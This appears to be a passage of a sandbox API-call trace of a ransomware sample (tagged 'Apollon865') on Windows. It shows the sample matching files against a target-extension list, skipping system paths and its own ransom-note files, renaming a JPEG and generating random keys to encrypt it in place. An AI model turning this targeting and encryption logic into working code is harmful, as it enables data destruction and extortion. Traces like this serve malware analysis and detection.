	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0058.969] lstrlenW (lpString="adb") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0058.969] lstrlenW (lpString="ade") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0058.969] lstrlenW (lpString="adf") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0058.969] lstrlenW (lpString="adn") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0058.969] lstrlenW (lpString="adp") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0058.969] lstrlenW (lpString="alf") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0058.969] lstrlenW (lpString="ask") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0058.969] lstrlenW (lpString="btr") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0058.969] lstrlenW (lpString="cat") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0058.969] lstrlenW (lpString="cdb") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0058.969] lstrlenW (lpString="ckp") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0058.969] lstrlenW (lpString="cma") returned 3
	[0058.969] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0058.969] lstrlenW (lpString="cpd") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0058.970] lstrlenW (lpString="dacpac") returned 6
	[0058.970] lstrcmpiW (lpString1="es.jpg", lpString2="dacpac") returned 1
	[0058.970] lstrlenW (lpString="dad") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0058.970] lstrlenW (lpString="dadiagrams") returned 10
	[0058.970] lstrcmpiW (lpString1="ubbles.jpg", lpString2="dadiagrams") returned 1
	[0058.970] lstrlenW (lpString="daschema") returned 8
	[0058.970] lstrcmpiW (lpString1="bles.jpg", lpString2="daschema") returned -1
	[0058.970] lstrlenW (lpString="db-journal") returned 10
	[0058.970] lstrcmpiW (lpString1="ubbles.jpg", lpString2="db-journal") returned 1
	[0058.970] lstrlenW (lpString="db-shm") returned 6
	[0058.970] lstrcmpiW (lpString1="es.jpg", lpString2="db-shm") returned 1
	[0058.970] lstrlenW (lpString="db-wal") returned 6
	[0058.970] lstrcmpiW (lpString1="es.jpg", lpString2="db-wal") returned 1
	[0058.970] lstrlenW (lpString="dbc") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0058.970] lstrlenW (lpString="dbs") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0058.970] lstrlenW (lpString="dbt") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0058.970] lstrlenW (lpString="dbv") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0058.970] lstrlenW (lpString="dbx") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0058.970] lstrlenW (lpString="dcb") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0058.970] lstrlenW (lpString="dct") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0058.970] lstrlenW (lpString="dcx") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0058.970] lstrlenW (lpString="ddl") returned 3
	[0058.970] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0058.970] lstrlenW (lpString="dlis") returned 4
	[0058.971] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0058.971] lstrlenW (lpString="dp1") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0058.971] lstrlenW (lpString="dqy") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0058.971] lstrlenW (lpString="dsk") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0058.971] lstrlenW (lpString="dsn") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0058.971] lstrlenW (lpString="dtsx") returned 4
	[0058.971] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0058.971] lstrlenW (lpString="dxl") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0058.971] lstrlenW (lpString="eco") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0058.971] lstrlenW (lpString="ecx") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0058.971] lstrlenW (lpString="edb") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0058.971] lstrlenW (lpString="epim") returned 4
	[0058.971] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0058.971] lstrlenW (lpString="fcd") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0058.971] lstrlenW (lpString="fdb") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0058.971] lstrlenW (lpString="fic") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0058.971] lstrlenW (lpString="flexolibrary") returned 12
	[0058.971] lstrcmpiW (lpString1="nBubbles.jpg", lpString2="flexolibrary") returned 1
	[0058.971] lstrlenW (lpString="fm5") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0058.971] lstrlenW (lpString="fmp") returned 3
	[0058.971] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0058.971] lstrlenW (lpString="fmp12") returned 5
	[0058.971] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0058.971] lstrlenW (lpString="fmpsl") returned 5
	[0058.972] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0058.972] lstrlenW (lpString="fol") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0058.972] lstrlenW (lpString="fp3") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0058.972] lstrlenW (lpString="fp4") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0058.972] lstrlenW (lpString="fp5") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0058.972] lstrlenW (lpString="fp7") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0058.972] lstrlenW (lpString="fpt") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0058.972] lstrlenW (lpString="frm") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0058.972] lstrlenW (lpString="gdb") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0058.972] lstrlenW (lpString="gdb") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0058.972] lstrlenW (lpString="grdb") returned 4
	[0058.972] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0058.972] lstrlenW (lpString="gwi") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0058.972] lstrlenW (lpString="hdb") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0058.972] lstrlenW (lpString="his") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0058.972] lstrlenW (lpString="ib") returned 2
	[0058.972] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0058.972] lstrlenW (lpString="idb") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0058.972] lstrlenW (lpString="ihx") returned 3
	[0058.972] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0058.972] lstrlenW (lpString="itdb") returned 4
	[0058.972] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0058.973] lstrlenW (lpString="itw") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0058.973] lstrlenW (lpString="jet") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0058.973] lstrlenW (lpString="jtx") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0058.973] lstrlenW (lpString="kdb") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0058.973] lstrlenW (lpString="kexi") returned 4
	[0058.973] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0058.973] lstrlenW (lpString="kexic") returned 5
	[0058.973] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0058.973] lstrlenW (lpString="kexis") returned 5
	[0058.973] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0058.973] lstrlenW (lpString="lgc") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0058.973] lstrlenW (lpString="lwx") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0058.973] lstrlenW (lpString="maf") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0058.973] lstrlenW (lpString="maq") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0058.973] lstrlenW (lpString="mar") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0058.973] lstrlenW (lpString="marshal") returned 7
	[0058.973] lstrcmpiW (lpString1="les.jpg", lpString2="marshal") returned -1
	[0058.973] lstrlenW (lpString="mas") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0058.973] lstrlenW (lpString="mav") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0058.973] lstrlenW (lpString="maw") returned 3
	[0058.973] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0058.973] lstrlenW (lpString="mdbhtml") returned 7
	[0058.973] lstrcmpiW (lpString1="les.jpg", lpString2="mdbhtml") returned -1
	[0058.974] lstrlenW (lpString="mdn") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0058.974] lstrlenW (lpString="mdt") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0058.974] lstrlenW (lpString="mfd") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0058.974] lstrlenW (lpString="mpd") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0058.974] lstrlenW (lpString="mrg") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0058.974] lstrlenW (lpString="mud") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0058.974] lstrlenW (lpString="mwb") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0058.974] lstrlenW (lpString="myd") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0058.974] lstrlenW (lpString="ndf") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0058.974] lstrlenW (lpString="nnt") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0058.974] lstrlenW (lpString="nrmlib") returned 6
	[0058.974] lstrcmpiW (lpString1="es.jpg", lpString2="nrmlib") returned -1
	[0058.974] lstrlenW (lpString="ns2") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0058.974] lstrlenW (lpString="ns3") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0058.974] lstrlenW (lpString="ns4") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0058.974] lstrlenW (lpString="nsf") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0058.974] lstrlenW (lpString="nv") returned 2
	[0058.974] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0058.974] lstrlenW (lpString="nv2") returned 3
	[0058.974] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0058.974] lstrlenW (lpString="nwdb") returned 4
	[0058.975] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0058.975] lstrlenW (lpString="nyf") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0058.975] lstrlenW (lpString="odb") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0058.975] lstrlenW (lpString="odb") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0058.975] lstrlenW (lpString="oqy") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0058.975] lstrlenW (lpString="ora") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0058.975] lstrlenW (lpString="orx") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0058.975] lstrlenW (lpString="owc") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0058.975] lstrlenW (lpString="p96") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0058.975] lstrlenW (lpString="p97") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0058.975] lstrlenW (lpString="pan") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0058.975] lstrlenW (lpString="pdb") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0058.975] lstrlenW (lpString="pdm") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0058.975] lstrlenW (lpString="pnz") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0058.975] lstrlenW (lpString="qry") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0058.975] lstrlenW (lpString="qvd") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0058.975] lstrlenW (lpString="rbf") returned 3
	[0058.975] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0058.975] lstrlenW (lpString="rctd") returned 4
	[0058.975] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0058.976] lstrlenW (lpString="rod") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0058.976] lstrlenW (lpString="rodx") returned 4
	[0058.976] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0058.976] lstrlenW (lpString="rpd") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0058.976] lstrlenW (lpString="rsd") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0058.976] lstrlenW (lpString="sas7bdat") returned 8
	[0058.976] lstrcmpiW (lpString1="bles.jpg", lpString2="sas7bdat") returned -1
	[0058.976] lstrlenW (lpString="sbf") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0058.976] lstrlenW (lpString="scx") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0058.976] lstrlenW (lpString="sdb") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0058.976] lstrlenW (lpString="sdc") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0058.976] lstrlenW (lpString="sdf") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0058.976] lstrlenW (lpString="sis") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0058.976] lstrlenW (lpString="spq") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0058.976] lstrlenW (lpString="te") returned 2
	[0058.976] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0058.976] lstrlenW (lpString="teacher") returned 7
	[0058.976] lstrcmpiW (lpString1="les.jpg", lpString2="teacher") returned -1
	[0058.976] lstrlenW (lpString="tmd") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0058.976] lstrlenW (lpString="tps") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0058.976] lstrlenW (lpString="trc") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0058.976] lstrlenW (lpString="trc") returned 3
	[0058.976] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0058.977] lstrlenW (lpString="trm") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0058.977] lstrlenW (lpString="udb") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0058.977] lstrlenW (lpString="udl") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0058.977] lstrlenW (lpString="usr") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0058.977] lstrlenW (lpString="v12") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0058.977] lstrlenW (lpString="vis") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0058.977] lstrlenW (lpString="vpd") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0058.977] lstrlenW (lpString="vvv") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0058.977] lstrlenW (lpString="wdb") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0058.977] lstrlenW (lpString="wmdb") returned 4
	[0058.977] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0058.977] lstrlenW (lpString="wrk") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0058.977] lstrlenW (lpString="xdb") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0058.977] lstrlenW (lpString="xld") returned 3
	[0058.977] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0058.977] lstrlenW (lpString="xmlff") returned 5
	[0058.977] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0058.977] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.Apollon865") returned 92
	[0058.977] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.apollon865"), dwFlags=0x1) returned 1
	[0058.978] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0058.978] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=6406) returned 1
	[0058.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0058.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0058.979] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0058.979] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0058.979] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.980] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c10, lpName=0x0) returned 0x154
	[0058.985] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c10) returned 0x120000
	[0058.987] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0058.988] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.988] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0058.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0058.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0058.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0058.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.989] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0058.989] CloseHandle (hObject=0x154) returned 1
	[0058.989] CloseHandle (hObject=0x150) returned 1
	[0058.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0058.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0058.989] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1
	[0058.989] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.989] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="Apollon865.txt.exe") returned 1
	[0058.989] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".") returned 1
	[0058.989] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="..") returned 1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="windows") returned -1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="bootmgr") returned 1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="temp") returned -1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="pagefile.sys") returned -1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="boot") returned 1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="ids.txt") returned -1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="ntuser.dat") returned -1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="perflogs") returned -1
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="MSBuild") returned -1
	[0058.990] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0058.990] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned 81
	[0058.990] lstrcpyW (in: lpString1=0x119e68a, lpString2="Hand Prints.htm" | out: lpString1="Hand Prints.htm") returned="Hand Prints.htm"
	[0058.990] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0058.990] lstrlenW (lpString="Apollon865") returned 10
	[0058.990] lstrcmpiW (lpString1="Prints.htm", lpString2="Apollon865") returned 1
	[0058.990] lstrlenW (lpString=".dll") returned 4
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".dll") returned 1
	[0058.990] lstrlenW (lpString=".lnk") returned 4
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".lnk") returned 1
	[0058.990] lstrlenW (lpString=".ini") returned 4
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".ini") returned 1
	[0058.990] lstrlenW (lpString=".sys") returned 4
	[0058.990] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".sys") returned 1
	[0058.990] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0058.990] lstrlenW (lpString="bak") returned 3
	[0058.990] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0058.990] lstrlenW (lpString="ba_") returned 3
	[0058.990] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0058.990] lstrlenW (lpString="dbb") returned 3
	[0058.990] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0058.990] lstrlenW (lpString="vmdk") returned 4
	[0058.990] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0058.990] lstrlenW (lpString="rar") returned 3
	[0058.990] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0058.991] lstrlenW (lpString="zip") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0058.991] lstrlenW (lpString="tgz") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0058.991] lstrlenW (lpString="vbox") returned 4
	[0058.991] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0058.991] lstrlenW (lpString="vdi") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0058.991] lstrlenW (lpString="vhd") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0058.991] lstrlenW (lpString="vhdx") returned 4
	[0058.991] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0058.991] lstrlenW (lpString="avhd") returned 4
	[0058.991] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0058.991] lstrlenW (lpString="db") returned 2
	[0058.991] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0058.991] lstrlenW (lpString="db2") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0058.991] lstrlenW (lpString="db3") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0058.991] lstrlenW (lpString="dbf") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0058.991] lstrlenW (lpString="mdf") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0058.991] lstrlenW (lpString="mdb") returned 3
	[0058.991] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0058.991] lstrlenW (lpString="sql") returned 3
